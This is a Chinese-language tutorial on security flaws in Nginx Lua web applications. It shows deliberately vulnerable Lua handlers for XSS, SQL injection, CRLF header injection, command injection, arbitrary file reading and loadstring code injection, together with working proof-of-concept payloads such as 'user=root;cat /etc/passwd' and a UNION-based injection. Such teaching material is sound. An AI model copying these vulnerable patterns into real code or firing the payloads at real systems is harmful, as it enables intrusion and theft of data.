内容简介:Nginx Lua Web Application Security
前言
我们知道,Nginx Lua经常被用来编写WAF。但随着 lua 语言的广泛,在其他web应用中也会有大量的Lua。
安装配置
可以使用OpenResty或者nginx编译的时候添加 lua-nginx-module
模块。区别在于OpenResty自带了很多第三方Lua库。
所有测试均在以下环境:
Lua 5.1.4 nginx/1.9.15 lua-nginx-module-0.10.5
安装完成后,进行nginx配置。注意该配置只是拿来做漏洞测试。
server块添加一个location
location /sec_ngx_lua {
content_by_lua_file /opt/lua_module/content.lua;
}
http块添加lua模块
lua_package_path '/opt/lua_module/?.lua;;'; lua_code_cache on;
表示添加/opt/lua_module路径的所有模块。
接下来就只在/opt/lua_module路径中写代码测试了。
vuls.lua(漏洞代码)
local _M = {}
function _M.xss()
local name = ngx.req.get_uri_args().name or ""
ngx.header.content_type = "text/html"
ngx.say(name)
end
return _M
content.lua(调用vuls.lua中的代码)
local vul = require "vuls" vul.xss();
漏洞类型
XSS
漏洞代码
function _M.xss()
local name = ngx.req.get_uri_args().name or ""
ngx.header.content_type = "text/html"
ngx.say(name)
end
漏洞验证
http://joychou.me/sec_ngx_lua?name=<script>alert(9527)</script>
修复
没有提供方法进行编码,所以编码需要自己实现。
Sql Injection
由于要使用数据库,所以如果未使用OpenResty,需要添加OpenResty提供的 mysql.lua
库
下载地址:
https://raw.githubusercontent.com/openresty/lua-resty-mysql/master/lib/resty/mysql.lua
将下载的mysql.lua同样放在/opt/lua_module/路径。
漏洞代码
local _M = {}
function close_db(db)
if not db then
return
end
db:close()
end
function _M.sqli()
local mysql = require("mysql")
local db, err = mysql: new()
ngx.header.content_type = "text/html"
if not db then
ngx.say("new mysql error :", err)
return
end
db:set_timeout(1000)
local props = {
host = "127.0.0.1",
port = 3306,
database = "lua",
user = "root",
password = "joychouisgood"
}
local res, err, errno, sqlstate = db:connect(props)
if not res then
ngx.say("connect to mysql error : ", err, " , errno : ", errno, " , sqlstate : ", sqlstate)
return close_db(db)
end
local uid = ngx.req.get_uri_args().uid
local select_sql = "select id, name from info where id =" .. uid
res, err, errno, sqlstate = db:query(select_sql)
if not res then
ngx.say("select error : ", err, " , errno : ", errno, " , sqlstate : ", sqlstate)
return close_db(db)
end
for i, row in ipairs(res) do
for id, name in pairs(row) do
ngx.say("row ", i, " : ", id, " = ", name, "<br/>")
end
end
end
return _M
lua.info表数据
mysql> select * from info; +----+---------+ | id | name | +----+---------+ | 1 | joychou | | 2 | smilent | +----+---------+ 2 rows in set (0.00 sec)
漏洞证明
http://joychou.me/sec_ngx_lua?uid=2 UNION ALL SELECT CONCAT(0x7162766271,0x744a75536365647154756a6d51436a746b656b6e4f796c4e6461565153537254727851564f6a4c61,0x716a787871),NULL-- cils
返回
id = qbvbqtJuScedqTujmQCjtkeknOylNdaVQSSrTrxQVOjLaqjxxq
漏洞修复
使用 ngx.quote_sql_str
对参数进行编码
CRLF Injection
参数外部可控的情况下,可使用%0d%0a进行CRLR注入。
漏洞代码
function _M.crlf_injection()
local user = ngx.req.get_uri_args().user or ""
ngx.header.content_type = "text/html"
ngx.header['X-Test'] = user
ngx.say('crlf inject sec test')
end
漏洞验证
➜ ~ curl -v 'http://joychou.me/sec_ngx_lua?user=demo%0d%0aSet-cookie:JSPSESSID%3Djoychou' * Trying 35.185.163.135... * Connected to joychou.me (35.185.163.135) port 80 (#0) > GET /sec_ngx_lua?user=demo%0d%0aSet-cookie:JSPSESSID%3Djoychou HTTP/1.1 > Host: joychou.me > User-Agent: curl/7.43.0 > Accept: */* > < HTTP/1.1 200 OK < Server: nginx/1.9.15 < Date: Tue, 13 Jun 2017 09:34:12 GMT < Content-Type: text/html < Transfer-Encoding: chunked < Connection: keep-alive < X-Test: demo < Set-cookie:JSPSESSID=joychou < crlf inject sec test
漏洞修复
过滤外部传参。
Command Injection
Lua可执行命令的方法
- io.popen
- os.execute (执行操作系统 shell 命令)
os.execute不能拿到回显,但io.popen可以。
漏洞代码
使用io.popen执行命令时,命令外部可控,导致任意命令执行。
function _M.cmd_injection()
ngx.header.content_type = "text/plain"
local user = ngx.req.get_uri_args().user or ""
local handle = io.popen("ls -l /home/"..user)
local result = handle:read("*a")
handle:close()
ngx.say(result)
end
漏洞验证
➜ ~ curl 'http://joychou.me/sec_ngx_lua?user=root;cat%20/etc/passwd' root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync
漏洞修复
过滤外部传参。
任意文件读取
使用io.open进行文件读取时,文件名外部可控导致任意文件读取。
function _M.file_read()
local file = ngx.req.get_uri_args().file or ""
ngx.header.content_type = "text/html"
local f = io.open(file..".txt")
local ret = f:read("*a")
f.close()
ngx.say(ret)
end
漏洞验证
使用%00截断后面的 .txt
字符串
http://joychou.me/sec_ngx_lua?file=/etc/hosts%00
漏洞修复
过滤外部传参。
代码注入
先来看下loadstring造成的代码注入的实例
> x="os.execute('echo 111 > /tmp/xx')"
> assert(loadstring(x))()
[root@sectest]# cat /tmp/xx 111
如果loadstring的字符串里可外部控制,就可以导致代码注入,和 php 、 python 的 eval
一样。
lua中和loadstring类似的方法还有
require,dofile,loadfile,dostring,loadstring,loadlib,load
漏洞代码
function _M.code_injection()
local name = ngx.req.get_uri_args().name or ""
ngx.header.content_type = "text/html"
local html = string.format([[
ngx.say("Hello, %s")
ngx.say("Today is "..os.date())
]], name)
loadstring(html)()
end
漏洞证明
http://joychou.me/sec_ngx_lua?name=joychou") os.execute("echo 2333 > /tmp/xxx
[root@sectest]# cat /tmp/xxx 2333
漏洞修复
过滤外部传参。
参考链接
Lua Web Application Security Vulnerabilities
以上所述就是小编给大家介绍的《Nginx Lua Web Application Security》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Learning Vue.js 2
Olga Filipova / Packt Publishing / 2017-1-5 / USD 41.99
About This Book Learn how to propagate DOM changes across the website without writing extensive jQuery callbacks code.Learn how to achieve reactivity and easily compose views with Vue.js and unders......一起来看看 《Learning Vue.js 2》 这本书的介绍吧!